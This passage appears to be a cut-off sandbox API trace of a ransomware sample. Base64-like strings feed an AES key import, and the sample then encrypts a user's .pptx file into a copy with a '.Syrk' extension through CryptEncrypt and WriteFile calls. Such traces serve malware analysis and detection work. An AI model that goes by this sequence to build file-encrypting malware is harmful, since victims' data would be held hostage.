(param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0224.686] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0224.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0224.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0224.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0224.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0224.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0224.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0224.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0224.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0224.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0224.689] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0224.689] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0224.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0224.690] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.690] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0224.690] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0224.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0224.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.691] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0224.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0224.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0224.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.692] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0224.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0224.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0224.692] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.692] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0224.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0224.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0224.693] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.693] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0224.693] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0224.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0224.694] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.694] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0224.694] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0224.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0224.694] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.695] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0224.695] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0224.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0224.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0224.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0224.698] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0224.698] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0224.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0224.698] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0224.699] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0224.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0224.699] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0224.699] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0224.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0224.699] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.700] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0224.700] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0224.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0224.700] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.700] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0224.700] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0224.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0224.701] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.701] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0224.701] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0224.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0224.701] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.702] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0224.702] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0224.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0224.702] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.702] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0224.702] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0224.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0224.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0224.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0224.705] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.705] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0224.705] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0224.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0224.706] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.706] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0224.706] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0224.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0224.706] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.706] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0224.706] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0224.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0224.707] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.707] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0224.707] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.708] EtwEventActivityIdControl () returned 0x0 [0224.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0224.709] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.709] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0224.709] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0224.715] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0224.718] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x23f5f20*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99560) returned 1 [0224.719] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.719] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.764] EtwEventActivityIdControl () returned 0x0 [0224.764] EtwEventActivityIdControl () returned 0x0 [0224.765] EtwEventActivityIdControl () returned 0x0 [0224.774] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0224.775] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0224.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.776] EtwEventActivityIdControl () returned 0x0 [0224.776] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.777] EtwEventActivityIdControl () returned 0x0 [0224.777] EtwEventActivityIdControl () returned 0x0 [0224.777] EtwEventActivityIdControl () returned 0x0 [0224.779] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.779] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0224.779] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0224.780] GetFileType (hFile=0x454) returned 0x1 [0224.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0224.780] GetFileType (hFile=0x454) returned 0x1 [0224.780] EtwEventActivityIdControl () returned 0x0 [0224.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.781] EtwEventActivityIdControl () returned 0x0 [0224.781] EtwEventActivityIdControl () returned 0x0 [0224.781] EtwEventActivityIdControl () returned 0x0 [0224.782] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0224.782] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk", lpFilePart=0x0) returned 0x45 [0224.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0224.782] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0224.827] GetFileType (hFile=0x458) returned 0x1 [0224.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0224.827] GetFileType (hFile=0x458) returned 0x1 [0224.827] EtwEventActivityIdControl () returned 0x0 [0224.827] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x24089e4 | out: pbBuffer=0x24089e4) returned 1 [0224.829] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.829] CryptDuplicateKey (in: hKey=0x5c99560, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0224.829] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.829] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x2409d1c*=0x1, dwFlags=0x0) returned 1 [0224.829] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x2409ce8, dwFlags=0x0) returned 1 [0224.830] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.830] EtwEventActivityIdControl () returned 0x0 [0224.830] EtwEventActivityIdControl () returned 0x0 [0224.830] EtwEventActivityIdControl () returned 0x0 [0224.831] EtwEventActivityIdControl () returned 0x0 [0224.832] ReadFile (in: hFile=0x454, lpBuffer=0x240c958, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x240c958*, lpNumberOfBytesRead=0x5a2e7d8*=0x3873, lpOverlapped=0x0) returned 1 [0224.833] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2420970*, pdwDataLen=0x5a2e7cc*=0x3870, dwBufLen=0x3870 | out: pbData=0x2420970*, pdwDataLen=0x5a2e7cc*=0x3870) returned 1 [0224.834] WriteFile (in: hFile=0x458, lpBuffer=0x2408ac0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2408ac0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0224.835] WriteFile (in: hFile=0x458, lpBuffer=0x242195c*, nNumberOfBytesToWrite=0x2884, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x242195c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x2884, lpOverlapped=0x0) returned 1 [0224.835] ReadFile (in: hFile=0x454, lpBuffer=0x240c958, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x240c958*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, 